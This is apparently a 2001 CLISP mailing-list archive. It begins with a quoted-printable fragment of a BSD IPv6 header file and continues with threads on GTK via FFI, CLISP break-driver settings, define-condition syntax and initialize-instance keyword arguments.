IN6_ARE_ADDR_EQUAL(a,=20b)=09=09=09\=0A=09(bcmp((a),=20(b),=20=
sizeof(struct=20in6_addr))=20=3D=3D=200)=0A#else=0A#define=20=
IN6_ARE_ADDR_EQUAL(a,=20b)=09=09=09\=0A=09(memcmp((a),=20(b),=20=
sizeof(struct=20in6_addr))=20=3D=3D=200)=0A#endif=0A=0A/*=0A=20*=20=
Unspecified=0A=20*/=0A#define=20IN6_IS_ADDR_UNSPECIFIED(a)=09\=0A=09=
((*(u_int32_t=20*)(&(a)->s6_addr[0])=20=3D=3D=200)=20&&=09\=0A=09=20=
(*(u_int32_t=20*)(&(a)->s6_addr[4])=20=3D=3D=200)=20&&=09\=0A=09=20=
(*(u_int32_t=20*)(&(a)->s6_addr[8])=20=3D=3D=200)=20&&=09\=0A=09=20=
(*(u_int32_t=20*)(&(a)->s6_addr[12])=20=3D=3D=200))=0A=0A/*=0A=20*=20=
Loopback=0A=20*/=0A#define=20IN6_IS_ADDR_LOOPBACK(a)=09=09\=0A=09=
((*(u_int32_t=20*)(&(a)->s6_addr[0])=20=3D=3D=200)=20&&=09\=0A=09=20=
(*(u_int32_t=20*)(&(a)->s6_addr[4])=20=3D=3D=200)=20&&=09\=0A=09=20=
(*(u_int32_t=20*)(&(a)->s6_addr[8])=20=3D=3D=200)=20&&=09\=0A=09=20=
(*(u_int32_t=20*)(&(a)->s6_addr[12])=20=3D=3D=20ntohl(1)))=0A=0A/*=0A=20=
*=20IPv4=20compatible=0A=20*/=0A#define=20IN6_IS_ADDR_V4COMPAT(a)=09=09\=0A=
=09((*(u_int32_t=20*)(&(a)->s6_addr[0])=20=3D=3D=200)=20&&=09\=0A=09=20=
(*(u_int32_t=20*)(&(a)->s6_addr[4])=20=3D=3D=200)=20&&=09\=0A=09=20=
(*(u_int32_t=20*)(&(a)->s6_addr[8])=20=3D=3D=200)=20&&=09\=0A=09=20=
(*(u_int32_t=20*)(&(a)->s6_addr[12])=20!=3D=200)=20&&=09\=0A=09=20=
(*(u_int32_t=20*)(&(a)->s6_addr[12])=20!=3D=20ntohl(1)))=0A=0A/*=0A=20*=20=
Mapped=0A=20*/=0A#define=20IN6_IS_ADDR_V4MAPPED(a)=09=09=20=20=20=20=20=20=
\=0A=09((*(u_int32_t=20*)(&(a)->s6_addr[0])=20=3D=3D=200)=20&&=09\=0A=09=20=
(*(u_int32_t=20*)(&(a)->s6_addr[4])=20=3D=3D=200)=20&&=09\=0A=09=20=
(*(u_int32_t=20*)(&(a)->s6_addr[8])=20=3D=3D=20ntohl(0x0000ffff)))=0A=0A=
/*=0A=20*=20KAME=20Scope=20Values=0A=20*/=0A=0A#ifdef=20KERNEL=09/*XXX=20=
nonstandard*/=0A#define=20IPV6_ADDR_SCOPE_NODELOCAL=090x01=0A#define=20=
IPV6_ADDR_SCOPE_LINKLOCAL=090x02=0A#define=20IPV6_ADDR_SCOPE_SITELOCAL=09=
0x05=0A#define=20IPV6_ADDR_SCOPE_ORGLOCAL=090x08=09/*=20just=20used=20in=20=
this=20file=20*/=0A#define=20IPV6_ADDR_SCOPE_GLOBAL=09=090x0e=0A#else=0A=
#define=20__IPV6_ADDR_SCOPE_NODELOCAL=090x01=0A#define=20=
__IPV6_ADDR_SCOPE_LINKLOCAL=090x02=0A#define=20=
__IPV6_ADDR_SCOPE_SITELOCAL=090x05=0A#define=20=
__IPV6_ADDR_SCOPE_ORGLOCAL=090x08=09/*=20just=20used=20in=20this=20file=20=
*/=0A#define=20__IPV6_ADDR_SCOPE_GLOBAL=090x0e=0A#endif=0A=0A/*=0A=20*=20=
Unicast=20Scope=0A=20*=20Note=20that=20we=20must=20check=20topmost=2010=20=
bits=20only,=20not=2016=20bits=20(see=20RFC2373).=0A=20*/=0A#define=20=
IN6_IS_ADDR_LINKLOCAL(a)=09\=0A=09(((a)->s6_addr[0]=20=3D=3D=200xfe)=20=
&&=20(((a)->s6_addr[1]=20&=200xc0)=20=3D=3D=200x80))=0A#define=20=
IN6_IS_ADDR_SITELOCAL(a)=09\=0A=09(((a)->s6_addr[0]=20=3D=3D=200xfe)=20=
&&=20(((a)->s6_addr[1]=20&=200xc0)=20=3D=3D=200xc0))=0A=0A/*=0A=20*=20=
Multicast=0A=20*/=0A#define=20IN6_IS_ADDR_MULTICAST(a)=09=
((a)->s6_addr[0]=20=3D=3D=200xff)=0A=0A#ifdef=20KERNEL=09/*XXX=20=
nonstandard*/=0A#define=20IPV6_ADDR_MC_SCOPE(a)=09=09((a)->s6_addr[1]=20=
&=200x0f)=0A#else=0A#define=20__IPV6_ADDR_MC_SCOPE(a)=09=09=
((a)->s6_addr[1]=20&=200x0f)=0A#endif=0A=0A/*=0A=20*=20Multicast=20Scope=0A=
=20*/=0A#ifdef=20KERNEL=09/*refers=20nonstandard=20items=20*/=0A#define=20=
IN6_IS_ADDR_MC_NODELOCAL(a)=09\=0A=09(IN6_IS_ADDR_MULTICAST(a)=20&&=09\=0A=
=09=20(IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20IPV6_ADDR_SCOPE_NODELOCAL))=0A=
#define=20IN6_IS_ADDR_MC_LINKLOCAL(a)=09\=0A=09(IN6_IS_ADDR_MULTICAST(a)=20=
&&=09\=0A=09=20(IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20=
IPV6_ADDR_SCOPE_LINKLOCAL))=0A#define=20IN6_IS_ADDR_MC_SITELOCAL(a)=09\=0A=
=09(IN6_IS_ADDR_MULTICAST(a)=20&&=20=09\=0A=09=20(IPV6_ADDR_MC_SCOPE(a)=20=
=3D=3D=20IPV6_ADDR_SCOPE_SITELOCAL))=0A#define=20=
IN6_IS_ADDR_MC_ORGLOCAL(a)=09\=0A=09(IN6_IS_ADDR_MULTICAST(a)=20&&=09\=0A=
=09=20(IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20IPV6_ADDR_SCOPE_ORGLOCAL))=0A=
#define=20IN6_IS_ADDR_MC_GLOBAL(a)=09\=0A=09(IN6_IS_ADDR_MULTICAST(a)=20=
&&=09\=0A=09=20(IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20=
IPV6_ADDR_SCOPE_GLOBAL))=0A#else=0A#define=20IN6_IS_ADDR_MC_NODELOCAL(a)=09=
\=0A=09(IN6_IS_ADDR_MULTICAST(a)=20&&=09\=0A=09=20=
(__IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20__IPV6_ADDR_SCOPE_NODELOCAL))=0A=
#define=20IN6_IS_ADDR_MC_LINKLOCAL(a)=09\=0A=09(IN6_IS_ADDR_MULTICAST(a)=20=
&&=09\=0A=09=20(__IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20=
__IPV6_ADDR_SCOPE_LINKLOCAL))=0A#define=20IN6_IS_ADDR_MC_SITELOCAL(a)=09=
\=0A=09(IN6_IS_ADDR_MULTICAST(a)=20&&=20=09\=0A=09=20=
(__IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20__IPV6_ADDR_SCOPE_SITELOCAL))=0A=
#define=20IN6_IS_ADDR_MC_ORGLOCAL(a)=09\=0A=09(IN6_IS_ADDR_MULTICAST(a)=20=
&&=09\=0A=09=20(__IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=20=
__IPV6_ADDR_SCOPE_ORGLOCAL))=0A#define=20IN6_IS_ADDR_MC_GLOBAL(a)=09\=0A=09=
(IN6_IS_ADDR_MULTICAST(a)=20&&=09\=0A=09=20(__IPV6_ADDR_MC_SCOPE(a)=20=3D=3D=
=20__IPV6_ADDR_SCOPE_GLOBAL))=0A#endif=0A=0A/*=0A=20*=20Wildcard=20=
Socket=0A=20*/=0A#if=200=09/*pre-RFC2553*/=0A#define=20=
IN6_IS_ADDR_ANY(a)=09IN6_IS_ADDR_UNSPECIFIED(a)=0A#endif=0A=0A/*=0A=20*=20=
KAME=20Scope=0A=20*/=0A#ifdef=20KERNEL=09/*nonstandard*/=0A#define=20=
IN6_IS_SCOPE_LINKLOCAL(a)=09\=0A=09((IN6_IS_ADDR_LINKLOCAL(a))=20||=09\=0A=
=09=20(IN6_IS_ADDR_MC_LINKLOCAL(a)))=0A#endif=0A=0A/*=0A=20*=20IP6=20=
route=20structure=0A=20*/=0A#if=20!defined(_XOPEN_SOURCE)=0Astruct=20=
route_in6=20{=0A=09struct=09rtentry=20*ro_rt;=0A=09struct=09sockaddr_in6=20=
ro_dst;=0A};=0A#endif=0A=0A/*=0A=20*=20Options=20for=20use=20with=20=
[gs]etsockopt=20at=20the=20IPV6=20level.=0A=20*=20First=20word=20of=20=
comment=20is=20data=20type;=20bool=20is=20stored=20in=20int.=0A=20*/=0A=
/*=20no=20hdrincl=20*/=0A#if=200=20/*=20the=20followings=20are=20relic=20=
in=20IPv4=20and=20hence=20are=20disabled=20*/=0A#define=20IPV6_OPTIONS=09=
=091=20=20/*=20buf/ip6_opts;=20set/get=20IP6=20options=20*/=0A#define=20=
IPV6_RECVOPTS=09=095=20=20/*=20bool;=20receive=20all=20IP6=20opts=20=
w/dgram=20*/=0A#define=20IPV6_RECVRETOPTS=096=20=20/*=20bool;=20receive=20=
IP6=20opts=20for=20response=20*/=0A#define=20IPV6_RECVDSTADDR=097=20=20=
/*=20bool;=20receive=20IP6=20dst=20addr=20w/dgram=20*/=0A#define=20=
IPV6_RETOPTS=09=098=20=20/*=20ip6_opts;=20set/get=20IP6=20options=20*/=0A=
#endif=0A#define=20IPV6_SOCKOPT_RESERVED1=093=20=20/*=20reserved=20for=20=
future=20use=20*/=0A#define=20IPV6_UNICAST_HOPS=094=20=20/*=20int;=20IP6=20=
hops=20*/=0A#define=20IPV6_MULTICAST_IF=099=20=20/*=20u_char;=20set/get=20=
IP6=20multicast=20i/f=20=20*/=0A#define=20IPV6_MULTICAST_HOPS=0910=20/*=20=
u_char;=20set/get=20IP6=20multicast=20hops=20*/=0A#define=20=
IPV6_MULTICAST_LOOP=0911=20/*=20u_char;=20set/get=20IP6=20multicast=20=
loopback=20*/=0A#define=20IPV6_JOIN_GROUP=09=0912=20/*=20ip6_mreq;=20=
join=20a=20group=20membership=20*/=0A#define=20IPV6_LEAVE_GROUP=0913=20=
/*=20ip6_mreq;=20leave=20a=20group=20membership=20*/=0A#define=20=
IPV6_PORTRANGE=09=0914=20/*=20int;=20range=20to=20choose=20for=20unspec=20=
port=20*/=0A#define=20ICMP6_FILTER=09=0918=20/*=20icmp6_filter;=20icmp6=20=
filter=20*/=0A#define=20IPV6_PKTINFO=09=0919=20/*=20in6_pktinfo;=20send=20=
if,=20src=20addr=20*/=0A#define=20IPV6_HOPLIMIT=09=0920=20/*=20int;=20=
send=20hop=20limit=20*/=0A#define=20IPV6_NEXTHOP=09=0921=20/*=20=
sockaddr;=20next=20hop=20addr=20*/=0A#define=20IPV6_HOPOPTS=09=0922=20/*=20=
ip6_hbh;=20send=20hop-by-hop=20option=20*/=0A#define=20IPV6_DSTOPTS=09=09=
23=20/*=20ip6_dest;=20send=20dst=20option=20befor=20rthdr=20*/=0A#define=20=
IPV6_RTHDR=09=0924=20/*=20ip6_rthdr;=20send=20routing=20header=20*/=0A=
#define=20IPV6_PKTOPTIONS=09=0925=20/*=20buf/cmsghdr;=20set/get=20IPv6=20=
options=20*/=0A=09=09=09=09=20=20=20/*=20obsoleted=20by=202292bis=20*/=0A=
#define=20IPV6_CHECKSUM=09=0926=20/*=20int;=20checksum=20offset=20for=20=
raw=20socket=20*/=0A#define=20IPV6_BINDV6ONLY=09=0927=20/*=20bool;=20=
only=20bind=20INET6=20at=20null=20bind=20*/=0A=0A#if=201=20/*IPSEC*/=0A=
#define=20IPV6_IPSEC_POLICY=0928=20/*=20struct;=20get/set=20security=20=
policy=20*/=0A#endif=0A#define=20IPV6_FAITH=09=0929=20/*=20bool;=20=
accept=20FAITH'ed=20connections=20*/=0A=0A#if=201=20/*IPV6FIREWALL*/=0A=
#define=20IPV6_FW_ADD=09=0930=20/*=20add=20a=20firewall=20rule=20to=20=
chain=20*/=0A#define=20IPV6_FW_DEL=09=0931=20/*=20delete=20a=20firewall=20=
rule=20from=20chain=20*/=0A#define=20IPV6_FW_FLUSH=09=0932=20/*=20flush=20=
firewall=20rule=20chain=20*/=0A#define=20IPV6_FW_ZERO=09=0933=20/*=20=
clear=20single/all=20firewall=20counter(s)=20*/=0A#define=20IPV6_FW_GET=09=
=0934=20/*=20get=20entire=20firewall=20rule=20chain=20*/=0A#endif=0A=0A=
/*=20new=20socket=20options=20introduced=20in=20RFC2292bis=20*/=0A=
#define=20IPV6_RTHDRDSTOPTS=0935=20/*=20ip6_dest;=20send=20dst=20option=20=
before=20rthdr=20*/=0A=0A#define=20IPV6_RECVPKTINFO=0936=20/*=20bool;=20=
recv=20if,=20dst=20addr=20*/=0A#define=20IPV6_RECVHOPLIMIT=0937=20/*=20=
bool;=20recv=20hop=20limit=20*/=0A#define=20IPV6_RECVRTHDR=09=0938=20/*=20=
bool;=20recv=20routing=20header=20*/=0A#define=20IPV6_RECVHOPOPTS=0939=20=
/*=20bool;=20recv=20hop-by-hop=20option=20*/=0A#define=20=
IPV6_RECVDSTOPTS=0940=20/*=20bool;=20recv=20dst=20option=20after=20rthdr=20=
*/=0A#define=20IPV6_RECVRTHDRDSTOPTS=0941=20/*=20bool;=20recv=20dst=20=
option=20before=20rthdr=20*/=0A=0A#define=20IPV6_USE_MIN_MTU=0942=20/*=20=
bool;=20send=20packets=20at=20the=20minimum=20MTU=20*/=0A#define=20=
IPV6_RECVPATHMTU=0943=20/*=20bool;=20notify=20an=20according=20MTU=20*/=0A=
=0A/*=20the=20followings=20are=20used=20as=20cmsg=20type=20only=20*/=0A=
#define=20IPV6_PATHMTU=09=0944=20/*=204=20bytes=20int;=20MTU=20=
notification=20*/=0A#define=20IPV6_REACHCONF=09=0945=20/*=20no=20data;=20=
ND=20reachability=20confirm=20*/=0A=0A#define=20IPV6_RTHDR_LOOSE=20=20=20=
=20=200=20/*=20this=20hop=20need=20not=20be=20a=20neighbor.=20XXX=20old=20=
spec=20*/=0A#define=20IPV6_RTHDR_STRICT=20=20=20=201=20/*=20this=20hop=20=
must=20be=20a=20neighbor.=20XXX=20old=20spec=20*/=0A#define=20=
IPV6_RTHDR_TYPE_0=20=20=20=200=20/*=20IPv6=20routing=20header=20type=200=20=
*/=0A=0A/*=0A=20*=20Defaults=20and=20limits=20for=20options=0A=20*/=0A=
#define=20IPV6_DEFAULT_MULTICAST_HOPS=201=09/*=20normally=20limit=20=
m'casts=20to=201=20hop=20=20*/=0A#define=20IPV6_DEFAULT_MULTICAST_LOOP=20=
1=09/*=20normally=20hear=20sends=20if=20a=20member=20=20*/=0A=0A/*=0A=20=
*=20Argument=20structure=20for=20IPV6_JOIN_GROUP=20and=20=
IPV6_LEAVE_GROUP.=0A=20*/=0Astruct=20ipv6_mreq=20{=0A=09struct=20=
in6_addr=09ipv6mr_multiaddr;=0A=09u_int=09=09ipv6mr_interface;=0A};=0A=0A=
/*=0A=20*=20IPV6_PKTINFO:=20Packet=20information(RFC2292=20sec=205)=0A=20=
*/=0Astruct=20in6_pktinfo=20{=0A=09struct=20in6_addr=20ipi6_addr;=09/*=20=
src/dst=20IPv6=20address=20*/=0A=09u_int=20ipi6_ifindex;=09=09/*=20=
send/recv=20interface=20index=20*/=0A};=0A=0A/*=0A=20*=20Argument=20for=20=
IPV6_PORTRANGE:=0A=20*=20-=20which=20range=20to=20search=20when=20port=20=
is=20unspecified=20at=20bind()=20or=20connect()=0A=20*/=0A#define=09=
IPV6_PORTRANGE_DEFAULT=090=09/*=20default=20range=20*/=0A#define=09=
IPV6_PORTRANGE_HIGH=091=09/*=20"high"=20-=20request=20firewall=20bypass=20=
*/=0A#define=09IPV6_PORTRANGE_LOW=092=09/*=20"low"=20-=20vouchsafe=20=
security=20*/=0A=0A#if=20!defined(_XOPEN_SOURCE)=0A/*=0A=20*=20=
Definitions=20for=20inet6=20sysctl=20operations.=0A=20*=0A=20*=20Third=20=
level=20is=20protocol=20number.=0A=20*=20Fourth=20level=20is=20desired=20=
variable=20within=20that=20protocol.=0A=20*/=0A#define=20IPV6PROTO_MAXID=09=
(IPPROTO_PIM=20+=201)=09/*=20don't=20list=20to=20IPV6PROTO_MAX=20*/=0A=0A=
#define=20CTL_IPV6PROTO_NAMES=20{=20\=0A=09{=200,=200=20},=20{=200,=200=20=
},=20{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20\=0A=09{=200,=20=
0=20},=20\=0A=09{=20"tcp6",=20CTLTYPE_NODE=20},=20\=0A=09{=200,=200=20},=20=
\=0A=09{=200,=200=20},=20\=0A=09{=200,=200=20},=20\=0A=09{=200,=200=20},=20=
{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20=
\=0A=09{=200,=200=20},=20\=0A=09{=200,=200=20},=20\=0A=09{=20"udp6",=20=
CTLTYPE_NODE=20},=20\=0A=09{=200,=200=20},=20\=0A=09{=200,=200=20},=20\=0A=
=09{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20},=20=
{=200,=200=20},=20\=0A=09{=200,=200=20},=20{=200,=200=20},=20{=200,=200=20=
},=20{=200,=200=20},=20{=200,=200=20},=20\=0A=09{=200,=200=20},=20{=200,=20=
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Hi

If some knowledgable person has the time, perhaps they would help me
with the following.  (I am pretty new to this, so I beg your pardon if
my questions are stupid)

1) Is there some good reason nobody seems to go the "ffi way" when
doing gui stuff with lisp.  Unless I am mistaken, it all seems to be
sockets and pipes.  Why?

2) I am using a slightly modified CLISP linked to the GTK libraries,
and this makes it easy to write gui functions for CLISP in C (using
GTK) which can be linked into lisp via FFI.  Is there something wrong
with doing this in *principle*.

3) So far I have only written a small demo with it but it was
ridiculously easy, and seemed to work very well.

BUT ...

4) Are there memory issues that I am not seeing.  GTK seems pretty
solid.  But am I introducing a weak link by doing this.  What sort of
limitations are there in passing data between functions written in
Lisp and functions written in C?  For example, would it be possible to
run a REPL in a gtk window?  Or why not write an editor this way? So
for example (gtk:ed) ran a gtk function which produced an editor
window which would have access to CLISP's power.
 
5) Example 29.4 in the impnotes shows how a memory leak can occur - Is
this sort of thing generally a serious problem, or can workarounds be
found? Could one not solve many memory problems by breaking up
(problematic) complex, Lisp data structures before passing them to C,
as simple types, where they could be reassembled by C functions, and
free()'d appropriately?  Would this be prohibitively expensive?  

Apologies for the long post,

Peter


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> From: Peter Wood <peter.wood@worldonline.dk>
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> Hi
> 
> If some knowledgable person has the time, perhaps they would help me
> with the following.  (I am pretty new to this, so I beg your pardon if
> my questions are stupid)
> 
> 1) Is there some good reason nobody seems to go the "ffi way" when
> doing gui stuff with lisp.  Unless I am mistaken, it all seems to be
> sockets and pipes.  Why?

Because things like GTK make and regular Lisp systems make it very
difficult to integrate the Event Loop and the REPL.  This is the key
difficulty.  Also in older versions of GTK it was not even possible to
get a hold of the X display to do obvious things.

IMHO, all in all this is historic.  At the time when C and Lisp were
the dominant "system" languages, they developed without
interoperability in mind.  (Common) Lisp lost and now the heritage
remains that it is difficult to integrated Lisp and C.  Later
languages (and toy languages like Scheme) have chosen the path to "sit
upon" C and are therefore very good at either been embedded into C or
to call C.  Calling C is something simple to do with any CL
implementation.  It is the reverse that is very difficult.

Cheers



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Peter Wood <peter.wood@worldonline.dk> writes:

| 1) Is there some good reason nobody seems to go the "ffi way" when
| doing gui stuff with lisp.  Unless I am mistaken, it all seems to be
| sockets and pipes.  Why?

You are indeed mistaken.  For example, GTK bindings for CMUCL have
been done in the "FFI way".  Most other GUI toolkits I know of are
either Win32 stuff (although I'm sure Win32 GUI calls are done via
some sort of FFI) or lay on top of CLX, which talks to the X server
via sockets, but that's the way even C programs talk to the X
server.  Oh, and I recall someone mentioning that MCL's higher
level GUI stuff lies on top of foreign functions that one can use
directly as well.  And of course Genera's GUI needs neither FFI nor
sockets/pipes :)

| 2) I am using a slightly modified CLISP linked to the GTK libraries,
| and this makes it easy to write gui functions for CLISP in C (using
| GTK) which can be linked into lisp via FFI.  Is there something wrong
| with doing this in *principle*.

I don't see anything fundamentally wrong with it.  I don't think it
would be my preference, though; I'd rather write FFI definitions
directly for GTK functions, but then again, I don't need to use GTK
with CLISP so I haven't really thought about this.

| 4) Are there memory issues that I am not seeing.  GTK seems pretty
| solid.  But am I introducing a weak link by doing this.  What sort of

Well, I guess there is almost always a weak link at some point if
you consider calling C code a weak link :)  Of course you must be
extra careful with FFI stuff, because problems there can cause Lisp
to crash whereas problems with plain Lisp code just throw you to
the debugger.  At least in principle :)

| limitations are there in passing data between functions written in
| Lisp and functions written in C?  For example, would it be possible to

I don't think there are much limitations that can't be overcome.
Some things might be awkward to express with CLISP's FFI but then
you could always write a little bit of glue code in C.

| run a REPL in a gtk window?  Or why not write an editor this way? So

If you have a Lisp interface to GTK, I don't see anything that
would prevent you from writing whatever you want with it, let it be
REPL, editor or Gimp-in-CL.

| 5) Example 29.4 in the impnotes shows how a memory leak can occur - Is
| this sort of thing generally a serious problem, or can workarounds be
| found?

Workarounds can be found; I think the memory problem was left there
in order to keep the example simple or just to demonstrate how one
can accidentally introduce memory leaks.

| Could one not solve many memory problems by breaking up
| (problematic) complex, Lisp data structures before passing them to C,
| as simple types, where they could be reassembled by C functions, and
| free()'d appropriately?  Would this be prohibitively expensive?  

The problem in that example was not in passing complex Lisp
structures to C but returning malloc'ed data from C to Lisp.  You
just need to either tell user to free it manually (just as he would
have to with C code), use finalization or perhaps convert the data
structure to some Lisp object and free the resource allocated by C
immediately after that so that the user doesn't have to free it (he
just gets a Lisp object that is garbage collected normally).  You
might end up using the last approach semi-automatically because you
often want to convert the data returned by C code to some higher
level Lisp object (if you didn't, the user of your interface would
probably end up doing it anyway).  The best solution varies case by
case, of course.

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Hannu Koivisto <azure@iki.fi> writes:

> 
> The problem in that example was not in passing complex Lisp
> structures to C but returning malloc'ed data from C to Lisp.  You
> just need to either tell user to free it manually (just as he would
> have to with C code), use finalization or perhaps convert the data
> structure to some Lisp object and free the resource allocated by C
> immediately after that so that the user doesn't have to free it (he
> just gets a Lisp object that is garbage collected normally).  You
> might end up using the last approach semi-automatically because you
> often want to convert the data returned by C code to some higher
> level Lisp object (if you didn't, the user of your interface would
> probably end up doing it anyway).  The best solution varies case by
> case, of course.
> 

Yes, thanks.  I had it the wrong way round. I like the last solution
you mention.  

Peter


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On 29 Mar 2001, Peter Wood wrote:
> Yes, thanks.  I had it the wrong way round. I like the last solution
> you mention.  

you might also want to see the new gtk-emacs. this is implemented by a
simple ffi.
 



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This doesn't have a whole lot to do with CLISP, but it's pretty funny,
and I figured all of you Lispers out there would enjoy it.

<http://www.forum3000.org/matrix/forum_hof_answers?keepcookie=158&lm=984791008>

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;; At 14:46 on Thursday 29 March 2001, Erik Arneson wrote:
; This doesn't have a whole lot to do with CLISP, but it's pretty funny,
; and I figured all of you Lispers out there would enjoy it.
; 
; <http://www.forum3000.org/matrix/forum_hof_answers?keepcookie=158&lm=984791008>
; 

Also:

http://www.forum3000.org/matrix/forum_std_answers?cookie=mere&lm=985981140

It is a short one... but Ms. Rand clearly states that:

   Lisp is incompatible with reason. You must use C++, the only Objectivist 
   programming language out there

So i guess we had better stop wasting our time with it. 

[grin]




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Hi,
I have a problem with modules.
I created a simple module with a c-file with just one function.
creating the the new moduleset via 
clisp-link create-module-set ....

and

adding the module-set via 
clisp-link add-module-set ....

works fine

calling the new moduleset via

clisp -K /home/averkamp/full+test
and then evaluating expressions works too,

BUT:
clisp exits if an error occurs:


[3]> (list 1 2 3 4)
(1 2 3 4)
[4]> 332432
332432
[5]> (car 1)
Bye.

what is wrong?

Is there some switch somewhere which has to be set? (the standard clisp
works without problems)

I had the same problem with the mit-clx module.

I use suse linux 6.2, the clisp is the march-2001 version. It was built
on my computer.


Roland Averkamp


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Roland Averkamp <roland.averkamp@trivadis.com> writes:


> clisp exits if an error occurs:
> 
> 
> [3]> (list 1 2 3 4)
> (1 2 3 4)
> [4]> 332432
> 332432
> [5]> (car 1)
> Bye.
> 
> what is wrong?
> 

Try putting this in your .clisprc:

(if (eq sys::*break-driver* #'sys::batchmode-break-driver)
(setf sys::*break-driver* #'sys::break-loop))

And see if it helps.  The break-driver in "full" is set incorrectly.

Regards,
Peter


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Peter Wood <peter.wood@worldonline.dk> writes:

> Try putting this in your .clisprc:
> 
> (if (eq sys::*break-driver* #'sys::batchmode-break-driver)
> (setf sys::*break-driver* #'sys::break-loop))
> 
> And see if it helps.  The break-driver in "full" is set incorrectly.

Or, if you prefer, run "clisp -K full" and set the break-driver:

(setf sys::*break-driver* #'sys::break-loop)

Then save the image: (saveinitmem "lispinit.mem") and replace the
memory image in /usr/lib/clisp/full with the new one.  Then you won't
need the line in your .clisprc. Which might mess things up if you run
clisp in batchmode, I suppose :( Does CLISP read the initfile when it
runs in batchmode?)

Peter


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Does GNU CLISP run on OpenBSD systems?


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>>>>> "Shang-Lin" == Shang-Lin Chen <schen@its.caltech.edu> writes:

  Shang-Lin> Does GNU CLISP run on OpenBSD systems?

It's available as a NetBSD package (but it doesn't run on my G3 PPC),
which probably means that you can get it to work without problems on
OpenBSD if your hardware is mainstream enough.  (I'd expect no
problems on i386 or sparc...)

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Greetings. I'm having a problem getting CLISP to accept a
define-condition form that three other mainstream Lisps recognize just
fine.

Given the following:

(define-condition syntactical-error (lisa-error)
  ((element :initarg :element
            :initform nil
            :reader syntactical-error-element))
  (:report
   (lambda (condition strm)
     (let ((element (syntactical-error-element condition)))
       (if (null element)
           (format strm "Syntax error:~%")
         (format strm "While evaluating the element ~S:~%" element))
       (format strm (lisa-error-text condition))))
   :documentation
   "This condition represents syntactical errors discovered during the initial
   parsing pass."))

CLISP complains:

Compiling file /opt/files/devel/sourceforge/lisa/src/engine/conditions.lisp ...
*** - DEFINE-CONDITION SYNTACTICAL-ERROR: invalid syntax in DEFINE-CONDITION option: 
(:REPORT
 (LAMBDA (CONDITION STRM)
  (LET ((ELEMENT (SYNTACTICAL-ERROR-ELEMENT CONDITION)))
   (IF (NULL ELEMENT) (FORMAT STRM "Syntax error:~%")
    (FORMAT STRM "While evaluating the element ~S:~%" ELEMENT))
   (FORMAT STRM (LISA-ERROR-TEXT CONDITION))))
 :DOCUMENTATION
 "This condition represents syntactical errors discovered during the initial
   parsing pass.")
1. Break LISA[4]>

I'm running CLISP 2.25 in full ANSI (clisp -a) on RedHat 6.2.

Regards,

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> * In message <200104031829.OAA04285@tinian.linuxnet.hom>
> * On the subject of "[clisp-list] CLISP and define-condition"
> * Sent on Tue, 3 Apr 2001 14:29:23 -0400
> * Honorable "David E. Young" <youngde@nc.rr.com> writes:
>
> Greetings. I'm having a problem getting CLISP to accept a
> define-condition form that three other mainstream Lisps recognize just
> fine.
> 
> Given the following:
> 
> (define-condition syntactical-error (lisa-error)
>   ((element :initarg :element
>             :initform nil
>             :reader syntactical-error-element))
>   (:report
>    (lambda (condition strm)
>      (let ((element (syntactical-error-element condition)))
>        (if (null element)
>            (format strm "Syntax error:~%")
>          (format strm "While evaluating the element ~S:~%" element))
>        (format strm (lisa-error-text condition))))
>    :documentation
>    "This condition represents syntactical errors discovered during the initial
>    parsing pass."))

your parentheses are placed incorrectly:
correct:

(define-condition syntactical-error (...)
  (...)
  (:report ...)
  (:documentation ...))

you have:

(define-condition syntactical-error (...)
  (...)
  (:report ...
   :documentation ...))

please see CLHS.

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Greetings. Ok, let's see if I can clear this up.

Given the following simplified code fragment:

(defclass rule ()
  ((name :initarg :name
         :initform nil
         :reader get-name)))

(defmethod initialize-instance :after ((self rule) &key (directives nil))
  ...)

(defun make-rule (name engine &key (doc-string nil)
                  (directives nil) (source nil))
  (make-instance 'rule :name name :directives directives))

Note the addition of an initialisation argument in
initialize-instance's lambda list.

With the above, CLISP fails at runtime with:

*** - EVAL/APPLY: keyword :NAME is illegal for #<COMPILED-CLOSURE #:COMPILED-FORM-129-1>. The possible keywords are (:DIRECTIVES)
1. Break LISA[5]>

Now, if I read the CLHS correctly it seems that this should work. And
indeed, ACL, LispWorks and CMUCL accept it [ but, after my last
posting I'm no longer sure how reliable an argument that is. ]

From CLHS section 7.1.2 Declaring the Validity of Initialization Arguments:

* Initialization arguments that fill slots are declared as valid by
  the :initarg slot option to defclass...

* Initialization arguments that supply arguments to methods are
  declared as valid by defining those methods. The keyword name of
  each keyword parameter specified in the method's lambda list becomes
  an initialization argument for all classes for which the method is
  applicable...

Please help me clear this up.

Regards,

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(de.young@computer.org)           (eq lang 'LISP))

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> * In message <200104031946.PAA04646@tinian.linuxnet.hom>
> * On the subject of "[clisp-list] ANSI compatibility question"
> * Sent on Tue, 3 Apr 2001 15:46:38 -0400
> * Honorable "David E. Young" <youngde@nc.rr.com> writes:
>
> (defclass rule ()
>   ((name :initarg :name
>          :initform nil
>          :reader get-name)))
> 
> (defmethod initialize-instance :after ((self rule) &key (directives nil))
>   ...)
> 
> (defun make-rule (name engine &key (doc-string nil)
>                   (directives nil) (source nil))
>   (make-instance 'rule :name name :directives directives))
> 
> Note the addition of an initialisation argument in
> initialize-instance's lambda list.
> 
> With the above, CLISP fails at runtime with:
> 
> *** - EVAL/APPLY: keyword :NAME is illegal for #<COMPILED-CLOSURE #:COMPILED-FORM-129-1>. The possible keywords are (:DIRECTIVES)
> 1. Break LISA[5]>

CLISP tries to call your `initialize-instance' :after method and fails -
it does not take :name args.
If you write

(defmethod initialize-instance :after ((self rule) &key (directives nil)
                                       &allow-other-keys)
   ...)

it should work.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

Sam> CLISP tries to call your `initialize-instance' :after method and
Sam> fails - it does not take :name args.  If you write

Sam> (defmethod initialize-instance :after ((self rule) &key
Sam> (directives nil) &allow-other-keys) ...)

Sam> it should work.

